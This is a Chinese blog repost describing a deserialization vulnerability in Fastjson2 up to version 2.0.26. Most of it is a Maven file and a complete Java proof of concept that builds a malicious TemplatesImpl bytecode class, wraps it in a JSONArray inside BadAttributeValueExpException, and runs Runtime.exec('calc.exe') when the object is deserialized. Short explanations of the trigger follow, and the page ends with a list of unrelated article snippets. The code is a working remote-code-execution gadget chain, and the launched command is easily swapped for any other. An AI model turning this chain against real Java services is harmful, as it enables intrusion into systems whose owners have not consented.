Fastjson2 <== 2.0.26反序列漏洞

根据@Y4TACKER师傅在2023-03-20发布了一篇关于Fastjson原生反序列化的文章,文章中引入注目的是利用条件限制条件,不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题,其实如果单独去使用一些关键词去搜索:Fastjson2漏洞或Fastjson2 Payload的结果内容比较乱比较杂,几乎参杂了Fastjson1的SEO搜索内容,那么就可能在一时没注意的情况下直接滑过。

一、创建一个DEMO

设置依赖项(依赖项中有个是使用的是Fastjson1.2.48的,这个就不演示了,主要还是以Fastjson2系列为主)

<project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>xibt</groupId><artifactId>com.xibt</artifactId><version>0.0.1-SNAPSHOT</version><name>Proxy</name><dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version> <!-- 或者其他版本 --></dependency><!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.48</version></dependency><dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.0</version></dependency></dependencies>
</project>

在项目中创建一个Java类(上面的fastjson2依赖,版本根据也可自行更改为2.0.26版本,几乎都是存在问题的)

package com.example.fastjson;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {public static void setValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);// 修改这里,使用 calc.exe 打开 Windows 计算器(如果是mac需要自行修改)constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");clazz.addConstructor(constructor);byte[][] bytes = new byte[][]{clazz.toBytecode()};TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", bytes);setValue(templates, "_name", "y4tacker");setValue(templates, "_tfactory", null);JSONArray jsonArray = new JSONArray();jsonArray.add(templates);BadAttributeValueExpException val = new BadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");valfield.setAccessible(true);valfield.set(val, jsonArray);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);objectOutputStream.writeObject(val);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

漏洞触发点:

Fastjson2 在处理某些特殊的序列化数据时存在漏洞,该漏洞允许攻击者通过构造恶意的JSON数据触发远程代码执行。
具体触发点在于通过JSONArrayadd方法,将构造的TemplatesImpl对象添加到JSONArray中。

利用方法:

通过构造TemplatesImpl对象,设置_bytecodes字段为经过calc.exe执行代码的字节码。
利用BadAttributeValueExpException类的漏洞,通过设置其val字段为包含恶意TemplatesImpl对象的JSONArray,以触发漏洞。

触发方式:

触发的方式主要是通过对BadAttributeValueExpException对象的序列化和反序列化,以触发Fastjson反序列化漏洞。
最终目的是在反序列化过程中执行恶意构造的TemplatesImpl对象中的代码,即执行constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");从而触发恶意调用。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/709499.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Aws Ec2服务器设置密码登录

通过密钥&#xff0c;ssh登录到服务器 切换到root sudo -i开始设置root的新密码 passwd root输入并确认新密码即可 5.修改ssh配置文件 vim /etc/ssh/sshd_config6.重启sshd配置 systemctl restart sshd

QML中动态增加表格数据

1.QML中的表格实现 import QtQuick 2.15 import QtQuick.Window 2.15import QtQuick.Controls 2.0 import Qt.labs.qmlmodels 1.0 import QtQuick.Layouts 1.15Window {width: 640height: 480visible: truetitle: qsTr("Hello World")TableModel{id:table_modelTabl…

接口测试-幂等测试

我们知道一个网站的访问中会有很多各种各样的接口请求 比如说拿一个购物网站来说&#xff0c;有注册&#xff0c;有登录&#xff0c;有浏览商品&#xff0c;有添加购物车&#xff0c;查询购物车商品这些接口&#xff0c;还有一类特殊的接口&#xff0c;比如&#xff1a;支付。…

【JavaEE进阶】 Spring AOP详解

文章目录 &#x1f38b;前言&#x1f38d;Spring AOP核心概念&#x1f6a9;切点(Pointcut)&#x1f6a9;连接点(Join Point)&#x1f6a9;通知(Advice)&#x1f6a9;切面(Aspect) &#x1f340;通知类型&#x1f6a9;注意事项 &#x1f332;PointCut&#x1f384;切面优先级Ord…

elasticsearch中设置查询的请求超时时间

参考&#xff1a;https://www.phpmianshi.com/?id251 背景 因为我们的项目是用的php&#xff0c;为了防止调用搜索时&#xff0c;请求处理时间太长&#xff0c;导致php-fpm占满&#xff0c;所以需要对外部接口设置请求的超时时间&#xff0c;避免过多的超时请求&#xff0c;我…

深入理解Linux线程(LWP):概念、结构与实现机制(1)

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;会いたい—Naomile 1:12━━━━━━️&#x1f49f;──────── 4:59 &#x1f504; ◀️ ⏸ ▶️ ☰ &a…

vue 解决:点击左侧相同菜单,右侧页面不重新加载的问题

1、问题描述&#xff1a; 其一、需求为&#xff1a; 无论是通过路由组件形成的平台管理系统&#xff0c;还是通过文件配置形成的平台管理系统&#xff0c;都存在通过切换左侧的导航栏而使右侧的页面切换的业务需求&#xff1b; 其二、问题描述为&#xff1a; A、步骤一&#…

Redis很慢,如何排查及解决?

性能分析工具&#xff1a; 使用Redis自带的命令或者第三方工具进行性能分析&#xff0c;比如INFO命令、MONITOR命令、SLOWLOG命令等。使用外部性能分析工具&#xff0c;如Redis的慢查询日志、Redis的监控工具、操作系统的性能分析工具&#xff08;例如top、htop、sar等&#xf…

基于RISC-V架构的通信DSP的设计以及在5G RedCap基带中的应用(五)-基于RISC-V的RedCap DSP在5G基带中的应用

4 基于RISC-V的RedCap DSP在5G基带中的应用 4.1 基带处理器的关键任务和性能需求 基带处理器是移动通信设备中的关键部件&#xff0c;负责处理无线信号&#xff0c;包括信号的接收、发送和处理。在5G通信系统中&#xff0c;基带处理器的关键任务和性能需求包括以下几个方面&a…

【Linux C | 网络编程】gethostbyname 函数详解及C语言例子

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…

常用网络协议配置步骤摘要

目录 一、配置IP地址二、配置静态路由三、配置动态路由&#xff08;OSPF&#xff09;四、配置Telnet五、配置SSH六、配置DHCP七、配置ACL八、配置NAT&#xff08;Easy_IP&#xff09;九、配置NAT&#xff08;Server NAT&#xff09; 一、配置IP地址 进入到接口 添加IP地址 二…

jmeter实战

全局设置 Add->Config Element->User Defined Variables 用户自定义变量name->value格式后面通过 \${xxx}方式引用变量Add -> Pre Processor -> BeanShell PreProcessor 通过代码形式或者shell脚本形式在请求前定义变量shell脚本文件 或者 编写Java 脚本定义变…

就业班 2401--2.29 Linux Day8--存储管理2(LVM)+swap+磁盘阵列raid

&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;小伙伴们一定要看到最后&#xff0c;有彩蛋呢^--^ 一、存储管理Ⅱ 逻辑卷LVM &#xff08;Logical Volume Manager&#xff08;逻辑卷管理&#xff09;的简写&#xff09; LVM管理 lvm概念&#xf…

代理IP如何帮助领英账号预防封号限制?

LinkedIn是跨境外贸必备的拓客工具&#xff0c;世界各地的许多专业人士都使用领英来作为发布和共享内容的主要工具&#xff0c;这使得它成为跨境出海必备的渠道工具。 但是不少做外贸的朋友都知道&#xff0c;领英账号很容易遭遇限制封禁&#xff0c;但如果善用工具&#xff0…

单点登录的三种方式

前言 在B/S系统中&#xff0c;登录功能通常都是基于Cookie 来实现的。当用户登录成功后&#xff0c;一般会将登录状态记录到Session中&#xff0c;或者是给用户签发一个 Token&#xff0c;无论哪一种方式&#xff0c;都需要在客户端保存一些信息(Session ID或Token)&#xff0…

redis-RedisTemplate.opsForGeo 的geo地理位置及实现附近的人的功能

redis内部使用的是 zset 数据结构存储&#xff0c;如下 import cn.huawei.VideoApplication; import cn.huawei.domain.Jingqu; import cn.huawei.service.JingquService; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired…

什么是存储过程和函数?它们与常规SQL查询有什么不同?描述一下MySQL的事务管理。

什么是存储过程和函数&#xff1f;它们与常规SQL查询有什么不同&#xff1f; 存储过程和函数是MySQL数据库中预编译的SQL代码块&#xff0c;它们可以被多次调用并执行特定的任务。它们与常规的SQL查询有以下几个主要的不同点&#xff1a; 预编译和执行&#xff1a;存储过程和函…

leetcode-62. 不同路径

题目描述 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” &#xff09;。 问总共有多少条不同的路径&#xff…

Tkinter.Text控件中,文本存在某个关键字的将被高亮显示(标记颜色+字体加粗)

在Tkinter的Text控件中&#xff0c;要标记某个关键字并改变其颜色&#xff0c;你可以使用tag_add方法来给包含关键字的文本添加标签&#xff0c;然后使用tag_config方法来配置该标签的显示样式&#xff0c;包括前景色&#xff08;字体颜色&#xff09;和背景色等。以下是一个完…

云桥通+IDC数据中心:SDWAN企业组网实现高效连接案例

一、需求和背景 云桥通曾服务的一家大型跨国企业C公司&#xff0c;C公司多个数据中心分布在全球各地。为了实现数据共享和协作&#xff0c;数据中心之间需要建立稳定高效的网络连接。然而&#xff0c;传统的MPLS专线网络存在昂贵的成本和漫长的开通周期&#xff0c;无法满足企…